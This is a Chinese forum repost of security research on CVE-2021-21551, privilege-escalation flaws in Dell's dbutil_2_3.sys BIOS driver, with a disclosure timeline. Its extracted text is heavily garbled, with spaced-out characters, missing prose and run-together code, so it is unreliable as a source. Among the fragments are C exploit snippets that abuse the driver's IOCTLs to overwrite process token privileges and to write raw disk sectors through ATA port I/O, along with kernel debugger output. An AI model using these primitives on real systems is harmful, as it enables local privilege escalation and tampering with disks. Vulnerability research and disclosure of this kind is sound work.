[29010] 2021-06-15_【安全研究】CVE-2021-21551-由于多个BIOS驱动程序权限提升缺陷,数亿台戴尔计算机面临风险

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-06-15_【安全研究】CVE-2021-21551-由于多个BIOS驱动程序权限提升缺陷,数亿台戴尔计算机面临风险 C V E - 2 0 2 1 - 2 1 5 5 1 -     B I O S   亿 O t s   2 0 2 1 - 0 6 - 1 5 O t s S e n t i n e l L a b s     2 0 0 9   亿   W i n d o w s   S e n t i n e l L a b s     2 0 2 0     1 2     1     C V E - 2 0 2 1 - 2 1 5 5 1   C V S S     8 . 8 S e n t i n e l O n e     2 . 3   (   d b u t i l _ 2 _ 3 . s y s )     2 0 0 9   使 D e l l   B i o s   U t i l i t y     W i n d o w s     W i n d o w s   亿   P r o c e s s   H a c k e r   1 2   D e l l     B I O S   亿   C V E     C V E   C V E - 2 0 2 1 - 2 1 5 5 1   # 1     C V E - 2 0 2 1 - 2 1 5 5 1   # 2    
C V E - 2 0 2 1 - 2 1 5 5 1   # 3     C V E - 2 0 2 1 - 2 1 5 5 1   # 4     C V E - 2 0 2 1 - 2 1 5 5 1   -     2 0 2 1     6     1     E O P   I O C T L /   A C L     I O C T L   I R P _ M J _ D E V I C E _ C O N T R O L   / 2 :   k d >   ! d e v o b j   f f f f a e 0 7 7 f b 4 7 8 2 0 D e v i c e   o b j e c t   ( f f f f a e 0 7 7 f b 4 7 8 2 0 )   i s   f o r :   D B U t i l _ 2 _ 3   D r i v e r d b u t i l   D r i v e r O b j e c t   f f f f a e 0 7 8 2 d b c e 3 0 C u r r e n t   I r p   0 0 0 0 0 0 0 0   R e f C o u n t   1   T y p e   0 0 0 0 9 b 0 c   F l a g s   0 0 0 0 0 0 4 8 S e c u r i t y D e s c r i p t o r   f f f f d 7 0 b d b 4 f 4 1 6 0   D e v E x t   f f f f a e 0 7 7 f b 4 7 9 7 0   D e v O b j E x t   f f f f a e 0 7 7 f b 4 7 a 1 0 E x t e n s i o n F l a g s   ( 0 x 0 0 0 0 0 8 0 0 )     D O E _ D E F A U L T _ S D _ P R E S E N T C h a r a c t e r i s t i c s   ( 0 0 0 0 0 0 0 0 0 0 ) D e v i c e   q u e u e   i s   n o t   b u s y . 2 :   k d >   ! s d   f f f f d 7 0 b d b 4 f 4 1 6 0   0 x 1 [ t r u n c a t e d ] - > D a c l         :   - > A c e [ 0 ] :   - > A c e T y p e :   A C C E S S _ A L L O W E D _ A C E _ T Y P E - > D a c l         :   - > A c e [ 0 ] :   - > A c e F l a g s :   0 x 0 - > D a c l         :   - > A c e [ 0 ] :   - > A c e S i z e :   0 x 1 4 - > D a c l         :   - > A c e [ 0 ] :   - > M a s k   :   0 x 0 0 1 2 0 1 b f - > D a c l         :   - > A c e [ 0 ] :   - > S I D :   S - 1 - 1 - 0   ( W e l l   K n o w n   G r o u p :   l o c a l h o s t E v e r y o n e ) [ t r u n c a t e d ] I O C T L   0 x 9 B 0 C 1 E C 8 m e m m o v e
  T o k e n   P r e s e n t E n a b l e d E P R O C E S S 1 :   k d >   d t   n t ! _ S E P _ T O K E N _ P R I V I L E G E S       + 0 x 0 0 0   P r e s e n t                     :   U i n t 8 B       + 0 x 0 0 8   E n a b l e d                     :   U i n t 8 B       + 0 x 0 1 0   E n a b l e d B y D e f a u l t   :   U i n t 8 B s t r u c t   i o c t l _ i n p u t _ p a r a m s   { u i n t 6 4 _ t   p a d d i n g 1 ; u i n t 6 4 _ t   a d d r e s s ; u i n t 6 4 _ t   p a d d i n g 2 ; u i n t 6 4 _ t   v a l u e _ t o _ w r i t e ; } ; s t a t i c   c o n s t e x p r   u i n t 6 4 _ t   M A S K _ T O _ W R I T E   =   M A X U L O N G L O N G ; D W O R D   b y t e s R e t u r n e d   =   0 ; i o c t l _ i n p u t _ p a r a m s   p r i v i l e g e _ p r e s e n t _ p a r a m s {   0   } ; p r i v i l e g e _ p r e s e n t _ p a r a m s . a d d r e s s   =   p r e s e n t A d d r e s s ; p r i v i l e g e _ p r e s e n t _ p a r a m s . v a l u e _ t o _ w r i t e   =   M A S K _ T O _ W R I T E ; D e v i c e I o C o n t r o l ( h D e v i c e ,   E X P L O I T A B L E _ R W _ C O N T R O L _ C O D E ,   & p r i v i l e g e _ p r e s e n t _ p a r a m s , s i z e o f ( p r i v i l e g e _ p r e s e n t _ p a r a m s ) ,   & p r i v i l e g e _ p r e s e n t _ p a r a m s ,   s i z e o f ( p r i v i l e g e _ p r e s e n t _ p a r a m s ) ,   & b y t e s R e t u r n e d ,   N U L L ) ; i o c t l _ i n p u t _ p a r a m s   p r i v i l e g e _ e n a b l e d _ p a r a m s {   0   } ; p r i v i l e g e _ e n a b l e d _ p a r a m s . a d d r e s s   =   e n a b l e d A d d r e s s ; p r i v i l e g e _ e n a b l e d _ p a r a m s . v a l u e _ t o _ w r i t e   =   M A S K _ T O _ W R I T E ; D e v i c e I o C o n t r o l ( h D e v i c e ,   E X P L O I T A B L E _ R W _ C O N T R O L _ C O D E ,   & p r i v i l e g e _ e n a b l e d _ p a r a m s ,
使 L P E   # 3     L P E   # 4   I / O   ( I N / O U T )   使 I O P L I / O C P L H D D G P U / D M A   A T A     I O   使   A T A     I O   /   I O C T L I N / O U T     I R P   L e a r n O S   I N / O U T     H D D   I O C T L       B Y O V D s i z e o f ( p r i v i l e g e _ e n a b l e d _ p a r a m s ) ,   & p r i v i l e g e _ e n a b l e d _ p a r a m s ,   s i z e o f ( p r i v i l e g e _ e n a b l e d _ p a r a m s ) ,   & b y t e s R e t u r n e d ,   N U L L ) ; v o i d   p o r t _ b y t e _ o u t ( u n s i g n e d   s h o r t   p o r t ,   u n s i g n e d   c h a r   p a y l o a d )   { u n s i g n e d   c h a r   d a t a [ 1 6 ]   =   {   0   } ;     * ( ( u n s i g n e d   l o n g   * ) ( ( u n s i g n e d   c h a r   * ) d a t a ) )   =   p o r t ;     * ( ( u n s i g n e d   c h a r   * ) ( ( u n s i g n e d   c h a r   * ) d a t a   +   4 ) )   =   p a y l o a d ;     b R e s u l t   =   D e v i c e I o C o n t r o l ( h D e v i c e ,   I O C T L _ B Y T E _ O U T ,   d a t a ,   s i z e o f ( d a t a ) ,   d a t a ,   s i z e o f ( d a t a ) ,   & j u n k ,   N U L L ) ; i f   ( ! b R e s u l t )   { p r i n t f ( " e r r o r   i n   p o r t _ b y t e _ o u t :   % x r n " ,   G e t L a s t E r r o r ( ) ) ;     } } u n s i g n e d   c h a r   p o r t _ b y t e _ i n ( u n s i g n e d   s h o r t   p o r t )   { u n s i g n e d   c h a r   d a t a [ 1 6 ]   =   {   0   } ;     * ( ( u n s i g n e d   l o n g   * ) ( ( u n s i g n e d   c h a r   * ) d a t a ) )   =   p o r t ;     b R e s u l t   =   D e v i c e I o C o n t r o l ( h D e v i c e ,   I O C T L _ B Y T E _ I N ,   d a t a ,   s i z e o f ( d a t a ) ,   d a t a ,   s i z e o f ( d a t a ) ,   & j u n k ,   N U L L ) ; i f   ( ! b R e s u l t )   { p r i n t f ( " e r r o r   i n   p o r t _ b y t e _ i n :   % x r n " ,   G e t L a s t E r r o r ( ) ) ;     } r e t u r n   d a t a [ 0 ] ; } v o i d   w r i t e _ s e c t o r s _ A T A _ P I O ( u i n t 3 2 _ t   L B A ,   u i n t 8 _ t   s e c t o r _ c o u n t ,   u i n t 3 2 _ t *   b y t e s )   {     A T A _ w a i t _ B S Y ( ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 6 , 0 x E 0   |   ( ( L B A   > > 2 4 )   &   0 x F ) ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 2 , s e c t o r _ c o u n t ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 3 ,   ( u i n t 8 _ t )   L B A ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 4 ,   ( u i n t 8 _ t ) ( L B A   > >   8 ) ) ;     p o r t _ b y t e _ o u t ( 0 x 1 F 5 ,   ( u i n t 8 _ t ) ( L B A   > >   1 6 ) ) ;       p o r t _ b y t e _ o u t ( 0 x 1 F 7 , 0 x 3 0 ) ;   / / S e n d   t h e   w r i t e   c o m m a n d f o r   ( i n t   j   = 0 ; j < s e c t o r _ c o u n t ; j + + )   {         A T A _ w a i t _ B S Y ( ) ;         A T A _ w a i t _ D R Q ( ) ; f o r ( i n t   i = 0 ; i < 2 5 6 ; i + + )   {             p o r t _ l o n g _ o u t ( 0 x 1 F 0 ,   b y t e s [ i ] ) ;         }     } } C : W i n d o w s T e m p
使   B Y O V D   L P E h t t p s : / / a s s e t s . s e n t i n e l o n e . c o m / l a b s / D e l l ? l b - m o d e = o v e r l a y 使 访 广 D e l l     D S A - 2 0 2 1 - 0 8 8   B Y O V D     2 0 0 9   亿   1 2   广 亿 2 0 2 0     1 2     1     2 0 2 0   1 2     2 2 0 2 0     1 2     8   2 0 2 0     1 2     9   2 0 2 0     1 2     2 2   2 0 2 1     1 1 2       E O L 2 0 2 1     1     2 7     2 0 2 1     3     1 6         M i c r o s o f t   2 0 2 1     3 2 9     2 0 2 1   4   2 2       Z o o m   2 0 2 1     5     4      

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则